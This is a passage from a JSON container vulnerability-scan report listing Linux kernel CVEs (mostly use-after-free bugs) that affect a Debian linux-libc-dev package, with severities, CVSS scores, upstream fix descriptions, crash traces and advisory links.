"https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-23133" ], "PublishedDate": "2025-04-16T15:16:07.717Z", "LastModifiedDate": "2026-10-21T13:18:05.213Z" }, { "VulnerabilityID": "CVE-2025-37750", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37750", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:53a3c59b1253a5c7e43afa969041a4fec1d4dc9a594033f337b5836e6f6d3d48", "Title": "kernel: smb: client: fix UAF in decryption with multichannel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix UAF in decryption with multichannel\n\nAfter commit f7025d861694 (\"smb: client: allocate crypto only for\nprimary server\") and commit b0abcd65ec54 (\"smb: client: fix UAF in\nasync decryption\"), the channels started reusing AEAD TFM from primary\nchannel to perform synchronous decryption, but that can't done as\nthere could be multiple cifsd threads (one per channel) simultaneously\naccessing it to perform decryption.\n\nThis fixes the following KASAN splat when running fstest generic/249\nwith 'vers=3.1.1,multichannel,max_channels=4,seal' against Windows\nServer 2022:\n\nBUG: KASAN: slab-use-after-free in gf128mul_4k_lle+0xba/0x110\nRead of size 8 at addr ffff8881046c18a0 by task cifsd/986\nCPU: 3 UID: 0 PID: 986 Comm: cifsd Not tainted 6.15.0-rc1 #1\nPREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-3.fc41\n04/01/2014\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x5d/0x80\n print_report+0x156/0x528\n ? gf128mul_4k_lle+0xba/0x110\n ? __virt_addr_valid+0x145/0x300\n ? __phys_addr+0x46/0x90\n ? gf128mul_4k_lle+0xba/0x110\n kasan_report+0xdf/0x1a0\n ? gf128mul_4k_lle+0xba/0x110\n gf128mul_4k_lle+0xba/0x110\n ghash_update+0x189/0x210\n shash_ahash_update+0x295/0x370\n ? __pfx_shash_ahash_update+0x10/0x10\n ? __pfx_shash_ahash_update+0x10/0x10\n ? __pfx_extract_iter_to_sg+0x10/0x10\n ? ___kmalloc_large_node+0x10e/0x180\n ? __asan_memset+0x23/0x50\n crypto_ahash_update+0x3c/0xc0\n gcm_hash_assoc_remain_continue+0x93/0xc0\n crypt_message+0xe09/0xec0 [cifs]\n ? __pfx_crypt_message+0x10/0x10 [cifs]\n ? _raw_spin_unlock+0x23/0x40\n ? __pfx_cifs_readv_from_socket+0x10/0x10 [cifs]\n decrypt_raw_data+0x229/0x380 [cifs]\n ? __pfx_decrypt_raw_data+0x10/0x10 [cifs]\n ? __pfx_cifs_read_iter_from_socket+0x10/0x10 [cifs]\n smb3_receive_transform+0x837/0xc80 [cifs]\n ? __pfx_smb3_receive_transform+0x10/0x10 [cifs]\n ? __pfx___might_resched+0x10/0x10\n ? __pfx_smb3_is_transform_hdr+0x10/0x10 [cifs]\n cifs_demultiplex_thread+0x692/0x1570 [cifs]\n ? __pfx_cifs_demultiplex_thread+0x10/0x10 [cifs]\n ? rcu_is_watching+0x20/0x50\n ? rcu_lockdep_current_cpu_online+0x62/0xb0\n ? find_held_lock+0x32/0x90\n ? kvm_sched_clock_read+0x11/0x20\n ? local_clock_noinstr+0xd/0xd0\n ? trace_irq_enable.constprop.0+0xa8/0xe0\n ? __pfx_cifs_demultiplex_thread+0x10/0x10 [cifs]\n kthread+0x1fe/0x380\n ? kthread+0x10f/0x380\n ? __pfx_kthread+0x10/0x10\n ? local_clock_noinstr+0xd/0xd0\n ? ret_from_fork+0x1b/0x60\n ? local_clock+0x15/0x30\n ? lock_release+0x29b/0x390\n ? rcu_is_watching+0x20/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x31/0x60\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n \u003c/TASK\u003e", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37750", "https://access.redhat.com/errata/RHSA-2025:9080", "https://access.redhat.com/security/cve/CVE-2025-37750", "https://bugzilla.redhat.com/2356584", "https://bugzilla.redhat.com/2356633", "https://bugzilla.redhat.com/2356642", "https://bugzilla.redhat.com/2356652", "https://bugzilla.redhat.com/2357134", "https://bugzilla.redhat.com/2360236", "https://bugzilla.redhat.com/2363341", "https://bugzilla.redhat.com/show_bug.cgi?id=2356584", "https://bugzilla.redhat.com/show_bug.cgi?id=2356633", "https://bugzilla.redhat.com/show_bug.cgi?id=2356642", "https://bugzilla.redhat.com/show_bug.cgi?id=2356652", "https://bugzilla.redhat.com/show_bug.cgi?id=2357134", "https://bugzilla.redhat.com/show_bug.cgi?id=2360236", "https://bugzilla.redhat.com/show_bug.cgi?id=2363341", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21961", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21963", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21969", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22126", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37750", "https://errata.almalinux.org/9/ALSA-2025-9080.html", "https://errata.rockylinux.org/RLSA-2025:9080", "https://git.kernel.org/linus/9502dd5c7029902f4a425bf959917a5a9e7c0e50%20%286.15-rc2%29", "https://git.kernel.org/stable/c/08160de2a65227e5b64fcb6765cd936ec384ee93", "https://git.kernel.org/stable/c/4e94c8cc7fa220ac50d6a3ce9a63d227696c95b8", "https://git.kernel.org/stable/c/9502dd5c7029902f4a425bf959917a5a9e7c0e50", "https://git.kernel.org/stable/c/950557922c1298464749c216d8763e97faf5d0a6", "https://git.kernel.org/stable/c/aa5a1e4b882964eb79d5b5d1d1e8a1a5efbb1d15", "https://git.kernel.org/stable/c/e859b216d94668bc66330e61be201234f4413d1a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.1/BRSA-yquamirqcxww.toml", "https://linux.oracle.com/cve/CVE-2025-37750.html", "https://linux.oracle.com/errata/ELSA-2025-9080.html", "https://lore.kernel.org/linux-cve-announce/2025050136-CVE-2025-37750-fdd8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37750", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-7651-1", "https://ubuntu.com/security/notices/USN-7651-2", "https://ubuntu.com/security/notices/USN-7651-3", "https://ubuntu.com/security/notices/USN-7651-4", "https://ubuntu.com/security/notices/USN-7651-5", "https://ubuntu.com/security/notices/USN-7651-6", "https://ubuntu.com/security/notices/USN-7652-1", "https://ubuntu.com/security/notices/USN-7653-1", "https://ubuntu.com/security/notices/USN-7737-1", "https://www.cve.org/CVERecord?id=CVE-2025-37750" ], "PublishedDate": "2025-05-01T13:15:53.74Z", "LastModifiedDate": "2026-10-30T13:17:57.57Z" }, { "VulnerabilityID": "CVE-2025-37776", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37776", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71efdfe1144529657ec9ab64a893d7539e384e29d088ef9ad8fffa7e377df5aa", "Title": "kernel: ksmbd: fix use-after-free in smb_break_all_levII_oplock()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in smb_break_all_levII_oplock()\n\nThere is a room in smb_break_all_levII_oplock that can cause racy issues\nwhen unlocking in the middle of the loop. This patch use read lock\nto protect whole loop.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37776", "https://git.kernel.org/linus/18b4fac5ef17f77fed9417d22210ceafd6525fc7%20%286.15-rc3%29", "https://git.kernel.org/stable/c/18b4fac5ef17f77fed9417d22210ceafd6525fc7", "https://git.kernel.org/stable/c/296cb5457cc6f4a754c4ae29855f8a253d52bcc6", "https://git.kernel.org/stable/c/d54ab1520d43e95f9b2e22d7a05fc9614192e5a5", "https://git.kernel.org/stable/c/d73686367ad68534257cd88a36ca3c52cb8b81d8", "https://linux.oracle.com/cve/CVE-2025-37776.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025050115-CVE-2025-37776-9bfb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37776", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-37776" ], "PublishedDate": "2025-05-01T14:15:41.373Z", "LastModifiedDate": "2026-07-30T06:22:19.873Z" }, { "VulnerabilityID": "CVE-2025-37777", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37777", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd6a4b86723905ac0b52a23db15fa4345de42a8eb899c7341e25a7eeb82b3421", "Title": "kernel: ksmbd: fix use-after-free in __smb2_lease_break_noti()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in __smb2_lease_break_noti()\n\nMove tcp_transport free to ksmbd_conn_free. If ksmbd connection is\nreferenced when ksmbd server thread terminates, It will not be freed,\nbut conn-\u003etcp_transport is freed. __smb2_lease_break_noti can be performed\nasynchronously when the connection is disconnected. __smb2_lease_break_noti\ncalls ksmbd_conn_write, which can cause use-after-free\nwhen conn-\u003eksmbd_transport is already freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 4 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37777", "https://git.kernel.org/linus/21a4e47578d44c6b37c4fc4aba8ed7cc8dbb13de%20%286.15-rc3%29", "https://git.kernel.org/stable/c/1aec4d14cf81b7b3e7b69eb1cfa94144eed7138e", "https://git.kernel.org/stable/c/1da8bd9a10ecd718692732294d15fd801c0eabb5", "https://git.kernel.org/stable/c/21a4e47578d44c6b37c4fc4aba8ed7cc8dbb13de", "https://git.kernel.org/stable/c/e59796fc80603bcd8569d4d2e10b213c1918edb4", "https://linux.oracle.com/cve/CVE-2025-37777.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025050115-CVE-2025-37777-886d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37777", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-37777" ], "PublishedDate": "2025-05-01T14:15:41.493Z", "LastModifiedDate": "2026-07-30T06:22:20.007Z" }, { "VulnerabilityID": "CVE-2025-37786", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37786", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7936364856f5d48e762b1cc22ef821cf4686e5219e44cf0030a9c549a34589f4", "Title": "kernel: net: dsa: free routing table on probe failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: free routing table on probe failure\n\nIf complete = true in dsa_tree_setup(), it means that we are the last\nswitch of the tree which is successfully probing, and we should be\nsetting up all switches from our probe path.\n\nAfter \"complete\" becomes true, dsa_tree_setup_cpu_ports() or any\nsubsequent function may fail. If that happens, the entire tree setup is\nin limbo: the first N-1 switches have successfully finished probing\n(doing nothing but having allocated persistent memory in the tree's\ndst-\u003eports, and maybe dst-\u003ertable), and switch N failed to probe, ending\nthe tree setup process before anything is tangible from the user's PoV.\n\nIf switch N fails to probe, its memory (ports) will be freed and removed\nfrom dst-\u003eports. However, the dst-\u003ertable elements pointing to its ports,\nas created by dsa_link_touch(), will remain there, and will lead to\nuse-after-free if dereferenced.\n\nIf dsa_tree_setup_switches() returns -EPROBE_DEFER, which is entirely\npossible because that is where ds-\u003eops-\u003esetup() is, we get a kasan\nreport like this:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in mv88e6xxx_setup_upstream_port+0x240/0x568\nRead of size 8 at addr ffff000004f56020 by task kworker/u8:3/42\n\nCall trace:\n __asan_report_load8_noabort+0x20/0x30\n mv88e6xxx_setup_upstream_port+0x240/0x568\n mv88e6xxx_setup+0xebc/0x1eb0\n dsa_register_switch+0x1af4/0x2ae0\n mv88e6xxx_register_switch+0x1b8/0x2a8\n mv88e6xxx_probe+0xc4c/0xf60\n mdio_probe+0x78/0xb8\n really_probe+0x2b8/0x5a8\n __driver_probe_device+0x164/0x298\n driver_probe_device+0x78/0x258\n __device_attach_driver+0x274/0x350\n\nAllocated by task 42:\n __kasan_kmalloc+0x84/0xa0\n __kmalloc_cache_noprof+0x298/0x490\n dsa_switch_touch_ports+0x174/0x3d8\n dsa_register_switch+0x800/0x2ae0\n mv88e6xxx_register_switch+0x1b8/0x2a8\n mv88e6xxx_probe+0xc4c/0xf60\n mdio_probe+0x78/0xb8\n really_probe+0x2b8/0x5a8\n __driver_probe_device+0x164/0x298\n driver_probe_device+0x78/0x258\n __device_attach_driver+0x274/0x350\n\nFreed by task 42:\n __kasan_slab_free+0x48/0x68\n kfree+0x138/0x418\n dsa_register_switch+0x2694/0x2ae0\n mv88e6xxx_register_switch+0x1b8/0x2a8\n mv88e6xxx_probe+0xc4c/0xf60\n mdio_probe+0x78/0xb8\n really_probe+0x2b8/0x5a8\n __driver_probe_device+0x164/0x298\n driver_probe_device+0x78/0x258\n __device_attach_driver+0x274/0x350\n\nThe simplest way to fix the bug is to delete the routing table in its\nentirety. dsa_tree_setup_routing_table() has no problem in regenerating\nit even if we deleted links between ports other than those of switch N,\nbecause dsa_link_touch() first checks whether the port pair already\nexists in dst-\u003ertable, allocating if not.\n\nThe deletion of the routing table in its entirety already exists in\ndsa_tree_teardown(), so refactor that into a function that can also be\ncalled from the tree setup error path.\n\nIn my analysis of the commit to blame, it is the one which added\ndsa_link elements to dst-\u003ertable. Prior to that, each switch had its own\nds-\u003ertable which is freed when the switch fails to probe. But the tree\nis potentially persistent memory.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37786", "https://git.kernel.org/linus/8bf108d7161ffc6880ad13a0cc109de3cf631727%20%286.15-rc3%29", "https://git.kernel.org/stable/c/51df5513cca6349d0bea01bab95cd96cf869976e", "https://git.kernel.org/stable/c/5c8066fbdb9653c6e9a224bdcd8f9c91a484f0de", "https://git.kernel.org/stable/c/6c20894d21600ca1e8549086dfbb986e277bf8a6", "https://git.kernel.org/stable/c/8bf108d7161ffc6880ad13a0cc109de3cf631727", "https://git.kernel.org/stable/c/a038f5f15af455dfe35bc68549e02b950978700a", "https://git.kernel.org/stable/c/fb12b460ec46c9efad98de6d9ba349691db51dc7", "https://linux.oracle.com/cve/CVE-2025-37786.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025050118-CVE-2025-37786-cbe7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37786", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-37786" ], "PublishedDate": "2025-05-01T14:15:42.89Z", "LastModifiedDate": "2026-06-17T09:15:26.267Z" }, { "VulnerabilityID": "CVE-2025-37822", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37822", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35b2cfe09d5ac6feaa4188a7155923bd5f161646494537c8f050a5137006dd41", "Title": "kernel: riscv: uprobes: Add missing fence.i after building the XOL buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: uprobes: Add missing fence.i after building the XOL buffer\n\nThe XOL (execute out-of-line) buffer is used to single-step the\nreplaced instruction(s) for uprobes. The RISC-V port was missing a\nproper fence.i (i$ flushing) after constructing the XOL buffer, which\ncan result in incorrect execution of stale/broken instructions.\n\nThis was found running the BPF selftests \"test_progs:\nuprobe_autoattach, attach_probe\" on the Spacemit K1/X60, where the\nuprobes tests randomly blew up.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37822", "https://git.kernel.org/linus/7d1d19a11cfbfd8bae1d89cc010b2cc397cd0c48%20%286.15-rc4%29", "https://git.kernel.org/stable/c/1dbb95a36499374c51b47ee8ae258a8862c20978", "https://git.kernel.org/stable/c/77c956152a3a7c7a18b68f3654f70565b2181d03", "https://git.kernel.org/stable/c/7d1d19a11cfbfd8bae1d89cc010b2cc397cd0c48", "https://git.kernel.org/stable/c/b6d8d4d01ca8514fa89b05355f296758a91e2297", "https://git.kernel.org/stable/c/bcf6d3158c5902d92b6d62335af4422b7bf7c4e2", "https://git.kernel.org/stable/c/be6d98766ac952d38241d5a5b213f363afa421c3", "https://linux.oracle.com/cve/CVE-2025-37822.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025050821-CVE-2025-37822-9fef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37822", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2025-37822" ], "PublishedDate": "2025-05-08T07:15:53.427Z", "LastModifiedDate": "2026-10-15T22:18:18.913Z" }, { "VulnerabilityID": "CVE-2025-37861", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37861", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4ab490de924505db8a9583d04bad7aa6703463e81d43e3a9ec1d7bba24595799", "Title": "kernel: scsi: mpi3mr: Synchronous access b/w reset and tm thread for reply queue", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: mpi3mr: Synchronous access b/w reset and tm thread for reply queue\n\nWhen the task management thread processes reply queues while the reset\nthread resets them, the task management thread accesses an invalid queue ID\n(0xFFFF), set by the reset thread, which points to unallocated memory,\ncausing a crash.\n\nAdd flag 'io_admin_reset_sync' to synchronize access between the reset,\nI/O, and admin threads. Before a reset, the reset handler sets this flag to\nblock I/O and admin processing threads. If any thread bypasses the initial\ncheck, the reset thread waits up to 10 seconds for processing to finish. If\nthe wait exceeds 10 seconds, the controller is marked as unrecoverable.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37861", "https://git.kernel.org/linus/f195fc060c738d303a21fae146dbf85e1595fb4c%20%286.15-rc1%29", "https://git.kernel.org/stable/c/31dad8d385953a886e57df70ab43ee25ba37797c", "https://git.kernel.org/stable/c/65ba18c84dbd03afe9b38c06c151239d97a09834", "https://git.kernel.org/stable/c/75b67dca4195e11ccf966a704787b2aa2754a457", "https://git.kernel.org/stable/c/8d310d66e2b0f5f9f709764641647e8a3a4924fa", "https://git.kernel.org/stable/c/e9efbd037b9002ce9dd012da612e857e98dfcb3e", "https://git.kernel.org/stable/c/f195fc060c738d303a21fae146dbf85e1595fb4c", "https://linux.oracle.com/cve/CVE-2025-37861.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025050922-CVE-2025-37861-ab7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37861", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", 